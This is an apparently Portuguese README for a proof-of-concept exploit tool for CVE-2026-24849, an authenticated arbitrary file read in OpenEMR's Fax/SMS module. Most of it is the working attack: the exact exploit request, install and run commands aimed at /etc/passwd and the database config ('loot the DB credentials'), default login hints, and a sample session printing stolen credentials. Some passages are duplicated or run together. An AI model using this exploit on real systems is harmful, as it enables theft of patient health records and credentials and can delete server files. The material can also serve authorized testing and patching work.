
Prova de conceito de exploit para CVE-2026-24849, uma vulnerabilidade autenticada de path traversal / leitura arbitrária de arquivos no módulo Fax/SMS (EtherFax) do OpenEMR. Qualquer usuário autenticado, independentemente do nível de privilégio, pode ler arquivos arbitrários do sistema de arquivos do servidor como o usuário do servidor web (credenciais de banco de dados, documentos de pacientes/PHI, /etc/passwd, …)
disposeDoc)Exploit de prova de conceito para CVE-2026-24849, um path traversal autenticado / leitura arbitrária de arquivos no módulo Fax/SMS (EtherFax) do OpenEMR. Qualquer usuário autenticado, independentemente do nível de privilégio, pode ler arquivos arbitrários do sistema de arquivos do servidor como o usuário do servidor web (credenciais de banco de dados, documentos de pacientes/PHI, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Vulnerabilidade | Path Traversal / Leitura Arbitrária de Arquivos (CWE-22) |
| Componente | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| Afetados | OpenEMR < 7.0.4 |
| Corrigido em | OpenEMR 7.0.4 |
| Autenticação | Necessária qualquer usuário, sem privilégios necessários |
| Severidade | NVD 6.5 (Média) / GitHub CNA 9.9 (Crítica) |
| Testado em | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
O método disposeDoc() do módulo Fax/SMS recebe um parâmetro de requisição file_path fornecido pelo chamador, confirma que o arquivo existe e o passa diretamente para readfile() sem canonicalização de caminho, sem lista de permissões e sem verificação de autorização além de manter uma sessão válida:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
O handler é alcançado através do dispatcher do módulo com um caminho absoluto em file_path (nenhuma travessia ../ é necessária):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Uma conta de baixo privilégio (ou padrão) torna-se uma primitiva completa de leitura de arquivos no servidor:
sites/default/sqlconf.phpsites/<site>/documents/, mesmo quando esse diretório está com Deny from all no .htaccess (a leitura acontece no disco, contornando o Apache)/etc/passwd, código-fonte da aplicação, chaves/tokens legíveis pelo usuário web⚠️ Comportamento destrutivo
disposeDoc()chamaunlink($where)depois de ler o arquivo. Ler um arquivo que o usuário do servidor web tem permissão para excluir o removerá. Mire em arquivos pertencentes a root (ex.:/etc/passwd,sqlconf.phpna maioria das instalações) o diretório pai não é gravável pelo usuário web, então ounlink()falha e o arquivo sobrevive. Seja deliberado sobre para onde você aponta isso.
admin:pass geralmente funciona).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Execute sem argumentos e ele solicitará tudo o que precisar:
python3 CVE-2026-24849.py
Ou execute-o de forma não interativa com flags:
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
Se -f for omitido, a ferramenta entra em um loop de leitura interativo para que você possa obter vários arquivos de uma única sessão.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, mantendo a sessão em seu próprio cookie jar (evita a rotação de ID de sessão do navegador que faz cookies copiados expirarem).disposeDoc, tentando automaticamente ambos disposeDoc e disposeDocument (o nome do método difere entre as versões menores afetadas)..htaccess como único controle.Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use-a somente contra sistemas que você possui ou para os quais tenha permissão explícita e por escrito para testar. O autor não aceita responsabilidade por uso indevido ou por qualquer dano causado por este software. Observe o comportamento destrutivo do unlink() descrito acima.
doany1
MIT veja LICENSE.
| Flag | Descrição | Padrão |
|---|
-t, --target | URL base, ex.: http://10.10.10.10 | solicitado |
-u, --user | Nome de usuário do OpenEMR | admin |
-P, --password | Senha do OpenEMR | solicitada (oculta) |
-s, --site | ID do site OpenEMR | default |
-f, --file | Caminho absoluto do arquivo remoto a ler | loop interativo se omitido |
-o, --output | Salvar o arquivo obtido localmente em vez de imprimir |